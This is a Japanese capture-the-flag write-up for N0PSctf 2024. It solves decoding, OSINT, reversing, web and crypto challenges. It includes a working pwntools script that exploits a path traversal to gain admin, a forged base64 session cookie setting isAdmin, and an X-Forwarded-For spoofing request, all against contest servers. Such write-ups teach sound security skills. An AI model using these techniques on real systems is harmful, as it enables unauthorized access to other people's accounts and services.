N0PSctf Writeup

この大会は2024/6/1 17:00(JST)~2024/6/3 5:00(JST)に開催されました。
今回もチームで参戦。結果は1781点で631チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。

Jojo is missing! (The Rescue of Jojo)

Discordに入り、#rulesチャネルでリアクションすると、いくつかチャネルが現れた。#announcementsチャネルに以下のメッセージがある。

Here is the message:
49 66 20 61 6E 79 6F 6E 65 20 72 65 61 64 73 20 69 74 2C 20 49 20 61 6D 20 4A 6F 6A 6F 2E 20 49 20 68 61 76 65 20 62 65 65 6E 20 63 61 70 74 75 72 65 64 20 62 79 20 61 20 67 72 6F 75 70 20 63 61 6C 6C 65 64 20 4A 33 4A 75 4A 34 2E 20 50 6C 65 61 73 65 20 63 6F 6D 65 20 61 6E 64 20 73 61 76 65 20 6D 65 21 0A 4E 30 50 53 7B 4A 30 4A 30 5F 31 73 5F 6D 31 53 35 31 6E 47 21 7D

CyberChefの「From Hex」でデコードすると以下のようになった。

If anyone reads it, I am Jojo. I have been captured by a group called J3JuJ4. Please come and save me!
N0PS{J0J0_1s_m1S51nG!}
N0PS{J0J0_1s_m1S51nG!}

Jojo Chat 1/2 (The Rescue of Jojo)

サーバの処理概要は以下の通り。

・connected = False
・以下繰り返し
 ・connectedがFalseの場合
  ・option: 入力
  ・optionが"1"の場合
   ・create_account()
    ・name: 入力
    ・names: "./log"配下のファイル名のリスト
    ・namesの中にnameがあるかnameが""の間
     ・name: 入力
    ・passwd: 入力
    ・"./log/{name}"にpasswdのmd5ダイジェスト(16進数)を書き込み
  ・optionが"2"の場合
   ・connected, name = connect()
    ・name: 入力
    ・names: "./log"配下のファイル名のリスト
    ・namesの中にnameがない間
     ・name: 入力
    ・hash_pass: "./log/{name}"の内容
    ・パスワードを入力し、そのmd5ダイジェスト(16進数)とhash_passが一致しているかどうかとnameを返却
   ・connectedがFalseの場合
    ・エラーメッセージを表示
  ・optionが"3"の場合
   ・終了
 ・connectedがTrueの場合
  ・option: 入力
  ・optionが"1"の場合
   ・messages = get_all_messages()
    ・
   ・messagesの各messageについて以下を実行
    ・message[0], message[1][20:]を表示
  ・optionが"2"の場合
   ・send_message(name)
    ・message: 入力
    ・"./log/{name}"に"{時刻} {message}\n"の形式で追記
  ・optionが"3"の場合
   ・connected = False
  ・optionが"admin"の場合
   ・admin()

最初に../log/adminというユーザ名でアカウントを作成し、上書きし、ログインすれば"admin"としてログインできる。

#!/usr/bin/env python3
from pwn import *

p = remote('nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io', '443', ssl=True)

name = '../log/admin'
passwd = 'P@ssw0rd'
data = p.recvuntil(b'Leave\n').decode().rstrip()
print(data)
print('1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + passwd)
p.sendline(passwd.encode())
for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

name = 'admin'
data = p.recvuntil(b'Leave\n').decode().rstrip()
print(data)
print('2')
p.sendline(b'2')
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + passwd)
p.sendline(passwd.encode())

data = p.recvuntil(b'Logout\n').decode().rstrip()
print(data)
print('admin')
p.sendline(b'admin')
for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io on port 443: Done
Hey, welcome to jojo chat.

Choose an option:
1) Create an account
2) Login
3) Leave
1
Enter your username: ../log/admin
Enter a password: P@ssw0rd

Account was successfully created!

Choose an option:
1) Create an account
2) Login
3) Leave
2
Username: admin
Password: P@ssw0rd

Choose an option:
1) See messages
2) Send a message
3) Logout
admin
Here is admin section. Still to develop.
N0PS{pY7h0n_p4Th_7r4v3r54l}
[*] Closed connection to nopsctf-c1f6cb8b41d8-jojo_chat_v1-1.chals.io port 443
N0PS{pY7h0n_p4Th_7r4v3r54l}

Morse Me (Misc)

CyberChefで以下の順にデコードする。

・From Morse Code
・From Hex

この結果以下のようになる。

Congratz! The flag is: N0PS{M0rS3_D3c0d3R_Pr0}
N0PS{M0rS3_D3c0d3R_Pr0}

Where Am I 1/3 (OSINT)

画像検索すると、以下のページなどが見つかる。

https://www.dpreview.com/challenges/Entry.aspx?ID=1233463&View=Results&Rows=4

この場所の名前は「Praça do Comércio」

N0PS{praca-do-comercio}

Just Read (Reverse)

Ghidraでデコンパイルする。

undefined8 main(undefined8 param_1,long param_2)

{
  char cVar1;
  char cVar2;
  char cVar3;
  char cVar4;
  char cVar5;
  char cVar6;
  char cVar7;
  char cVar8;
  char cVar9;
  char cVar10;
  char cVar11;
  char cVar12;
  char cVar13;
  char cVar14;
  char cVar15;
  char cVar16;
  char cVar17;
  char cVar18;
  char cVar19;
  char cVar20;
  char cVar21;
  char cVar22;
  char cVar23;
  char *__s;
  size_t sVar24;
  
  __s = *(char **)(param_2 + 8);
  cVar1 = *__s;
  cVar2 = __s[1];
  cVar3 = __s[2];
  cVar4 = __s[3];
  cVar5 = __s[4];
  cVar6 = __s[5];
  cVar7 = __s[6];
  cVar8 = __s[7];
  cVar9 = __s[8];
  cVar10 = __s[9];
  cVar11 = __s[10];
  cVar12 = __s[0xb];
  cVar13 = __s[0xc];
  cVar14 = __s[0xd];
  cVar15 = __s[0xe];
  cVar16 = __s[0xf];
  cVar17 = __s[0x10];
  cVar18 = __s[0x11];
  cVar19 = __s[0x12];
  cVar20 = __s[0x13];
  cVar21 = __s[0x14];
  cVar22 = __s[0x15];
  cVar23 = __s[0x16];
  sVar24 = strlen(__s);
  if (sVar24 == 0x17 &&
      ((((((((((((((((((((((cVar2 == '0' && cVar1 == 'N') && cVar3 == 'P') && cVar4 == 'S') &&
                        cVar5 == '{') && cVar6 == 'c') && cVar7 == 'H') && cVar8 == '4') &&
                    cVar9 == 'r') && cVar10 == '_') && cVar11 == '1') && cVar12 == 's') &&
                cVar13 == '_') && cVar14 == '8') && cVar15 == 'b') && cVar16 == 'i') &&
            cVar17 == 't') && cVar18 == 's') && cVar19 == '_') && cVar20 == '1') && cVar21 == 'N')
       && cVar22 == 't') && cVar23 == '}')) {
    puts("Well done, you can validate with this flag!");
  }
  else {
    puts("Wrong flag!");
  }
  return 0;
}

条件を満たすよう配列のインデックスを見て、比較している文字を並べ替える。

N0PS{cH4r_1s_8bits_1Nt}

Reverse Me (Reverse)

バイナリエディタで見ると、逆順にするとELFファイルになりそう。逆順でファイルを保存してみる。

#!/usr/bin/env python3
with open('img.jpg', 'rb') as f:
    data = f.read()

with open('img.elf', 'wb') as f:
    f.write(data[::-1])

この実行ファイルをGhidraでデコンパイルする。

void FUN_001011e0(int param_1,long param_2)

{
  char cVar1;
  ulong uVar2;
  ulong uVar3;
  ulong uVar4;
  ulong uVar5;
  ulong uVar6;
  char *__s;
  long lVar7;
  undefined1 *puVar8;
  undefined *puVar9;
  long in_FS_OFFSET;
  byte bVar10;
  undefined local_a0 [8];
  undefined local_98 [32];
  undefined local_78 [56];
  undefined8 local_40;
  
  bVar10 = 0;
  local_40 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  if (param_1 == 5) {
    uVar2 = strtol(*(char **)(param_2 + 8),(char **)0x0,10);
    uVar3 = strtol(*(char **)(param_2 + 0x10),(char **)0x0,10);
    uVar4 = strtol(*(char **)(param_2 + 0x18),(char **)0x0,10);
    uVar5 = strtol(*(char **)(param_2 + 0x20),(char **)0x0,10);
    cVar1 = FUN_00101460(uVar2 & 0xffffffff,uVar3 & 0xffffffff,uVar4 & 0xffffffff,uVar5 & 0xffffffff
                        );
    if (cVar1 != '\0') {
      uVar6 = (ulong)(uint)-(int)uVar5;
      if (0 < (int)uVar5) {
        uVar6 = uVar5 & 0xffffffff;
      }
      uVar5 = (ulong)(uint)-(int)uVar4;
      if (0 < (int)uVar4) {
        uVar5 = uVar4 & 0xffffffff;
      }
      uVar4 = (ulong)(uint)-(int)uVar3;
      if (0 < (int)uVar3) {
        uVar4 = uVar3 & 0xffffffff;
      }
      uVar3 = (ulong)(uint)-(int)uVar2;
      if (0 < (int)uVar2) {
        uVar3 = uVar2 & 0xffffffff;
      }
      __sprintf_chk(local_78,1,0x2a,"%d%d%d%d",uVar3,uVar4,uVar5,uVar6);
      puVar8 = &DAT_00102016;
      puVar9 = local_98;
      for (lVar7 = 0x19; lVar7 != 0; lVar7 = lVar7 + -1) {
        *puVar9 = *puVar8;
        puVar8 = puVar8 + (ulong)bVar10 * -2 + 1;
        puVar9 = puVar9 + (ulong)bVar10 * -2 + 1;
      }
      __s = (char *)FUN_00101a50(local_98,0x18,local_78,local_a0);
      puts(__s);
      free(__s);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

bool FUN_00101460(int param_1,int param_2,int param_3,int param_4)

{
  bool bVar1;
  
  bVar1 = false;
  if (param_1 * -10 + param_2 * 4 + param_3 + param_4 * 3 != 0x1c) {
    return false;
  }
  if ((param_2 * 9 + param_1 * -8 + param_3 * 6 + param_4 * -2 == 0x48) &&
     (param_2 * -3 + param_1 * -2 + param_3 * -8 + param_4 == 0x1d)) {
    bVar1 = param_2 * 7 + param_1 * 5 + param_3 + param_4 * -6 == 0x58;
  }
  return bVar1;
}

FUN_00101460関数内の条件を満たすよう方程式を解く。

#!/usr/bin/env python3
import sympy

x = sympy.Symbol('x')
y = sympy.Symbol('y')
z = sympy.Symbol('z')
w = sympy.Symbol('w')

eq1 = - 10*x + 4*y + z + 3*w - 0x1c
eq2 = - 8*x + 9*y + 6*z - 2*w - 0x48
eq3 = - 2*x - 3*y - 8*z + w - 0x1d
eq4 = 5*x + 7*y + z - 6*w - 0x58

sol = sympy.solve([eq1, eq2, eq3, eq4])
print(sol)

実行結果は以下の通り。

{w: -9, x: -3, y: 8, z: -7}

これを引数に指定し、実行する。

$ ./img.elf -3 8 -7 -9
N0PS{r1CKUNr0111N6}
N0PS{r1CKUNr0111N6}

Web Cook (Web)

Usernameに"nora"と入力し、Submitすると、クッキーのsessionに以下が設定される。

eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ%3D%3D
||>
>|sh|
$ echo eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjowfQ== | base64 -d
{"username":"nora","isAdmin":0}

{"username":"nora","isAdmin":1} をbase64エンコードする。

$ echo -n '{"username":"nora","isAdmin":1}' | base64           
eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ==

クッキーのsessionに以下を設定する。

eyJ1c2VybmFtZSI6Im5vcmEiLCJpc0FkbWluIjoxfQ%3D%3D

リロードすると、フラグが表示された。

N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}

Outsiders (Web)

外側からアクセスを拒否しているような説明になっているので、X-Forwarded-Forヘッダで偽装する。

$ curl https://nopsctf-outsiders.chals.io/ -H "X-Forwarded-For: 127.0.0.1"
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap" rel="stylesheet">
    <title>Outsiders</title>
    <style>
    body {
        background: #000;
        font-family: 'Fira Code', monospace;
        font-optical-sizing: auto;
        padding: 2em;
        display: flex;
        align-items: center;
        justify-content: center;
        height: 50vh;
    }

    .text-slider {
        animation: slide 30s infinite;
        color: #aaa;
    }

    @media (prefers-color-scheme: dark) {
        body {
            -webkit-filter: contrast(2);
            filter: brightness(100%);
        }
    }

    @keyframes slide {
        0%   { transform: translateX(0%);  }
        50%  { transform: translateX(10vw); }
        100% { transform: translateX(0%);  }
    }
    </style>
  </head>
  <body>
    <div class="text-slider">
    <h2>I can give the flag to myself, right ? N0PS{XF0rw4Rd3D}</h2>    </div>
  </body>
</html>
N0PS{XF0rw4Rd3D}

Crypto Rookie (Crypto)

レールフェンス暗号と推測し、https://www.dcode.fr/rail-fence-cipherで復号する。

SOMETIMESAFLAGISBETTERTHANACOOKIE
N0PS{SOMETIMESAFLAGISBETTERTHANACOOKIE}

Broken OTP (Crypto)

サーバの処理概要は以下の通り。

・e: eval関数
・g: getattr関数
・b: bytearrayクラス
・i: input関数
・t = ['74696d65', '72616e646f6d', '5f5f696d706f72745f5f', '726f756e64', '73656564']
・d: hexデコード関数
・fb: builtinsモジュール
・_i: __import__関数
・s: UNIXTIME + secretの数値化
・r: random.seed
・r(s())
・choice: 入力
・choiceが"1"の場合
 ・message: 入力
 ・c(message.encode())を表示
  ・k: messageと同じ鍵の長さのランダム文字列
  ・messageとkのXORの16進数表記文字列
・choiceが"2"の場合
 ・c(secret.encode())を表示
$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 2
The secret is: 4f864a5e0c17b951af37cc3ce8c596d0df57e4

同時にアクセスすれば、同じXOR鍵で暗号化される。一方を1.で19バイトの文字列を入力し、平文と暗号文のペアを入手する。もう一方の2.でsecretの暗号化を入手できれば、復号できる。

$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 1
Please enter the message you wish to encrypt: aaaaaaaaaaaaaaaaaaa
Your encrypted message is: 613e63d12e83313ea6cfe039d211030b30dba8

$ sc nopsctf-broken-otp.chals.io
(connected to nopsctf-broken-otp.chals.io:443 and reading from stdin)
Welcome to our encryption service.
Choose between:
1. Encrypt your message.
2. Get the encrypted secret.
Enter your choice: 2
The secret is: 4e6f52e334d2240f98c5b201ec02511f6489b4
#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt = 'aaaaaaaaaaaaaaaaaaa'
ct = bytes.fromhex('613e63d12e83313ea6cfe039d211030b30dba8')

secret_enc = bytes.fromhex('4e6f52e334d2240f98c5b201ec02511f6489b4')

key = strxor(pt.encode(), ct)
secret = strxor(secret_enc, key).decode()
print(secret)

この実行結果、secretとしてフラグが表示された。

N0PS{0tP_k3Y_r3u53}